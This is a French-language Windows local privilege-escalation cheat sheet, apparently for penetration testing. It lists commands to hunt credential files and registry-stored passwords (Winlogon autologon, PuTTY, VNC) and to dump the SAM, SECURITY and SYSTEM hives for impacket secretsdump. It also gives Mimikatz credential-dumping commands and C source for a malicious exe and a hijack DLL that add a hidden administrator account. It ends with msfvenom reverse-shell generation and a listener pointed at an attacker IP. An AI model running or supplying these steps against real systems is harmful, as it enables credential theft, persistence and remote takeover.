Local Windows Cheatsheet
Enumeration globale
PS C:\Users> Get-ChildItem -Path C:\ -Include *.kdbx,SAM,SYSTEM -File -Recurse -ErrorAction SilentlyContinue
PS C:\Users> Get-ChildItem -Path C:\Users -Include *.txt,*.ini,*.conf*,id_*,*.kdbx,*.pdf, -File -Recurse -ErrorAction SilentlyContinue
#Registre
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # Paramètres SNMP
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Creds putty
reg query "HKCU\Software\ORL\WinVNC3\Password" # Creds VNC
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Groupes et Privileges
Schéma explicatif :
Divers commandes :
C:\Users> whoami #Donne le nom de l'utilisateur
C:\Users> whoami /priv #Donne les privilèges de l'utilisateur
C:\Users> net user <username> #Donne les groupes de l'utilisateur
C:\Users> net user <username> /domain #Donne les groupes de l'utilisateur sur le domaine
C:\Users> net localgroup #Donne les groupes locaux
PS C:\Users> Get-LocalGroupMember "Administrators" #Donne les membres du groupe Administrateurs
Informations sur le système
PS C:\Users> systeminfo #Donne des informations sur le système
PS C:\Users> wmic qfe list #Liste les mises à jour installées
PS C:\Users> wmic qfe get Caption,Description,HotFixID,InstalledOn #Liste les mises à jour installées avec plus d'informations
Informations sur le réseau
PS C:\Users> ipconfig /all #Donne les informations sur les interfaces réseaux
PS C:\Users> netstat -ano #Donne les connexions réseaux actives, avec le PID/nom du processus
PS C:\Users> netstat -ano | findstr "LISTENING" #Donne les ports en écoute, en attente de connexions entrantes
PS C:\Users> netstat -ano | findstr "ESTABLISHED" #Donne les connexions établies
PS C:\Users> netstat -ano | findstr "CLOSE_WAIT" #Donne les connexions locales fermées, en attente de fermeture distante
PS C:\Users> netstat -ano | findstr "TIME_WAIT" #Donne les connexions en attente de fermeture
PS C:\Users> netstat -ano | findstr "SYN_SENT" #Donne les connexions en attente de SYN-ACK distant
PS C:\Users> netstat -ano | findstr "SYN_RECEIVED" #Donne les connexions en attente de SYN-ACK local
PS C:\Users> arp -a #Donne les entrées ARP / Utile pour MITM
PS C:\Users> route print #Donne la table de routage
Applications et services installés
PS C:\Users> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname #Liste les applications installées
PS C:\Users> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | Where-Object {$_.DisplayName -like "*Adobe*"} #Liste les applications installées contenant "Adobe"
PS C:\Users> ls "C:\Program Files (x86)\" #Liste les programmes installés dans le dossier "Program Files (x86)"
PS C:\Users> ls "C:\Program Files\" #Liste les programmes installés dans le dossier "Program Files"
Informations sur les processus en cours
PS C:\Users> Get-Process #Liste les processus en cours
PS C:\Users> Get-Process | Where-Object {$_.Name -like "*sql*"} #Liste les processus en cours contenant "sql"
PS C:\Users> Get-Service | Where-Object {$_.StartName -eq "LocalSystem"} #Liste les services lancés par le compte "LocalSystem"
PS C:\Users> Get-CimInstance -ClassName win32_service | Select Name,State,PathName,Author | Where-Object {$_.State -like 'Running'} #Liste les services en cours
PS C:\Users> icacls "C:\xampp\apache\bin\httpd.exe" # Donne les droits de l'utilisateur actuel sur le fichier
PS C:\Users> net stop httpd # Arrête le service httpd
PS C:\Users> net start httpd # Démarre le service httpd
PS C:\Users> Get-CimInstance -ClassName win32_service | Select Name, StartMode # Donne le mode de démarrage des services (notamment avec un démarrage programmé)
PS C:\Users> shutdown /r /t 0 # Redémarre la machine
C:\Users> wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """ # Donne les services qui ne sont pas dans le dossier Windows
Tâches programmées
PS C:\Users> Get-ScheduledTask | ft Author,TaskPath,TaskName # Donne les tâches programmées pour tous les utilisateurs
PS C:\Users> schtasks /query /fo LIST /v | Select-String "TaskName" -Context 0,10 # Donne les tâches programmées
PS C:\Users> Get-ScheduledTask | Where-Object {$_.TaskPath -like "*Microsoft*"} | ft Author,TaskPath,TaskName # Donne les tâches programmées dans le dossier "Microsoft"
PS C:\Users> Get-ScheduledTask | Where-Object {$_.TaskPath -like "*Microsoft*"} | Get-ScheduledTaskInfo | ft TaskName,LastRunTime,LastTaskResult # Donne les tâches programmées dans le dossier "Microsoft" avec les dernières exécutions
Dump des mots de passes/hashs
Via CMD/PS
Hive | Description | Type de hash |
---|---|---|
HKLM\SAM | Contient les hashs des mots de passe utilisateurs | NTLM et LM (obsolète) |
HKLM\SECURITY | Informations de sécurité des utilisateurs (SID, roles, droits...) | - |
HKLM\SYSTEM | Informations système (hostname, SID...) | - |
NTDS.DIT | Database Active Directory : hashs mots de passe utilisateurs de l'AD | NTLM, Kerberos |
C:\> reg save hklm\security c:\SECURITY #Sauvegarde la base de registre "security" dans le fichier "SECURITY"
C:\> reg save hklm\sam c:\SAM #Sauvegarde la base de registre "sam" dans le fichier "SAM"
C:\> reg save hklm\system c:\SYSTEM #Sauvegarde la base de registre "system" dans le fichier "SYSTEM"
$ ìmpacket-secretsdump.py -sam SAM -security SECURITY -system SYSTEMLOCAL
Mimikatz
# Powershell Mimikatz
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /patch" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
# Mimikatz.exe
privilege::debug
token::elevate
#Depuis lsass (memory)
sekurlsa::logonpasswords
#Depuis lsass (service)
lsadump::lsa /inject
#Depuis la base SAM
lsadump::sam
Payloads
Malicious exe
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user malicioususer helloWorld /add");
i = system ("net localgroup administrators malicioususer /add");
return 0;
}
kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe # Compile le payload
Malicious dll
Ordre de priorité d'exécution des dlls :
Lister le contenu de la variable d'environnement "path"
PS C:\Users> $env:path
Payload :
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user malicioususer helloWorld /add");
i = system ("net localgroup administrators malicioususer /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
kali@kali:~$ x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll # Compile le payload
PS C:\Users> Restart-Service <service> # Redémarre le service
Metasploit
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP_ATTAQUANT> LPORT=<PORT> -f exe -o shell.exe
$ msfconsole
> use multi/handler
> set LHOST <IP_ATTAQUANT>
> set LPORT <PORT>
> set PAYLOAD windows/x64/shell_reverse_tcp
> run